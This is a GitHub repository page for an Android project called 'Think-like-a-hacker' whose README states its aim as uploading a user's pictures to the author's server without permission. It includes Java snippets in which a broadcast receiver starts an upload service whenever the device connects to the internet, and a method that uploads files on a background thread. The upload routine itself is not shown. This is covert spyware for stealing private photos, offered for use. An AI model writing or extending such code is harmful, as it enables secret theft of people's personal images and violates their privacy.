Skip to content

Upload picture without permission of user to our server.

Notifications You must be signed in to change notification settings

nkkumawat/Think-like-a-hacker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

Think-like-a-hacker

Upload picture without permission of user to our server.

when user connects to the internet it starts uploading pictures to the server.
Service invoke when broadcast receiver receive the internet connect event this starts uploading.

Invoke Upload service when network connect

        ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        assert cm != null;
        NetworkInfo info = cm.getActiveNetworkInfo();
        if (info != null) {
            if (info.isConnected()) {
                Intent intentnew = new Intent(context, UploadService.class);
                context.startService(intentnew);
            }
        }

Starts Uploading

    void startUploading(final File file) {
        Runnable runnable = new Runnable() {
            @RequiresApi(api = Build.VERSION_CODES.KITKAT)
            @Override
            public void run() {
                uploadFile(file);
            }
        };
        new Thread(runnable).start();
    }

About

Upload picture without permission of user to our server.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published